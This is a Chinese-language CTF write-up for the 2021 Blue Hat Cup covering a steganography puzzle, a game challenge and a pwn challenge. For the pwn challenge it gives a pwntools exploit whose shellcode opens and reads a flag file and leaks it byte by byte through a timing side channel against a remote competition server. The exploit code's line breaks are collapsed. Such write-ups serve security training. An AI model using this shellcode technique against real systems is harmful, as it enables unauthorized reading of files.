蓝帽杯wp

原创

D0gekong 于 2021-05-12 17:22:38 发布 292 收藏
文章标签： 安全

冬奥会is coming

首先打开附件是一个吉祥物图片，用Binwalk分离出一个压缩包，解压压缩包可以得到一个音频，是一个冬奥宣传歌曲。拿去audacity分析没有什么东西，除了前面一段乱码，放winhex看，发现cipher后面接一串奇怪的编码，是十六进制的，hex解密后发现是emoji,用emoji-aes: https://aghorler.github.io/emoji-aes/

但是解密需要密钥，尝试了加密，发现不使用{}时少了几种表情，所以猜测这里解密出来直接就是flag。对mp3文件进行入手，. rar压缩包给了一个提示： eight numbers 8个数字，然后又根据图片和题目都和冬奥会有关，猜测是冬奥会时间 20220204，用MP3stego跑一下，得到

\xe2\x9c\x8c\xef\xb8\x8e \xe2\x98\x9d\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x98\x9f\xef\xb8\x8e\xe2\x97\x86\xef\xb8\x8e\xe2\x99\x8c\xef\xb8\x8e \xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x97\xbb\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xe2\x9d\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8e\xef\xb8\x8e \xf0\x9f\x93\x82\xef\xb8\x8e\xe2\x99\x8d\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xf0\x9f\x8f\xb1\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f \x99\xb5 \xe2\x99\x93\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e \xe2\x9d\x96\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x8d \x93\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\x9d\x92\xef\xb8\x8e\xe2\x99\x8f\xef\xb8\x8e\xe2\xac\xa7\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x93\xef\xb8\x8e\xe2\x96\xa0\xef\xb8\x8e\xe2\x99\x91\xef\xb8\x8e\xf0\x9f\x93\xac\xef\xb8\x8e \xf0\x9f\x95\x88\xef\xb8\x8e\xe2\x99\x92\xef\xb8\x8e\xe2\x8d\x93\xef\xb8\x8e \xe2\x96\xa0\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\xa7\xab\xef\xb8\x8e\xe2\x99\x8b\xef\xb8\x8e\xf0\x9f\x99\xb5\xe2\x99\x8f\xef \xb8\x8e \xe2\x99\x8b\xef\xb8\x8e \xe2\x97\x8f\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xe2\x96\xa1\xef\xb8\x8e\xf0\x9f \x99\xb5 \xe2\x99\x8b\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e \xe2\x99\x93\xef\xb8\x8e\xe2\xa7\xab\xef\xb8\x8e\xe2\x9c\x8d\xef\xb8\x8e

把\x去掉，用hex解密得到星座密码✌︎ ☝︎♓︎⧫︎☟︎◆︎♌︎ ❒︎♏︎◻︎□︎⬧︎♓︎⧫︎□︎❒︎⍓︎ ■︎♋︎❍︎♏︎♎︎ 📂︎♍︎♏︎🏱︎♏︎♋︎🙵 ♓︎⬧︎ ❖︎♏︎❒︎⍓︎ ♓︎■︎⧫︎♏︎❒︎♏︎⬧︎⧫︎♓︎■︎♑︎📬︎ 🕈︎♒︎⍓︎ ■︎□︎⧫︎ ⧫︎♋︎🙵♏︎ ♋︎ ●︎□︎□︎🙵 ♋︎⧫︎ ♓︎⧫︎✍︎，再用https://lingojam.com/WingdingsTranslator解密得到AGitHubrepositorynamed1cePeakisveryinteresting.Whynottakealookatit？

发现一个1cepeak,在github里搜到这个库，下载Post文件，把这个文件放在winhex看一下，得到密钥How_6ad_c0uld_a_1cePeak_be?，再拿去emoji-aes得到flag.

flag{e32f619b-dbcd-49bd-9126-5d841aa01767}.

slient 1. 这是原题，略微修改一下exp

```
from pwn import * elf=ELF('./chall') EXCV = context.binary = './chall' #libc=('') #context.log_level = 'debug' def pwn(p, idx, c): # open shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;" # re open, rax => 4 shellcode += "push 2; pop rax; syscall;" # read(rax, 0x10040, 0x50) shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;" # cmp and jz if idx == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, c) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, c) shellcode = asm(shellcode) p.sendafter("Welcome to silent execution-box.\n", shellcode.ljust(0x40- 14, b'a') + b'/home/pwn/flag') idx = 0 var_list = [] while(1):

for c in range(32, 127): p = remote('8.140.177.7',40334)#nc 8.131.246.36 40334 pwn(p, idx, c) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: var_list.append(c) print("".join([chr(i) for i in var_list])) break else: print("".join([chr(i) for i in var_list])) break idx = idx + 1 print("".join([chr(i) for i in var_list]))
```

得到flag

Flag{k33p_qu14t}

Ball_sigin

进去玩到60分就直接得flag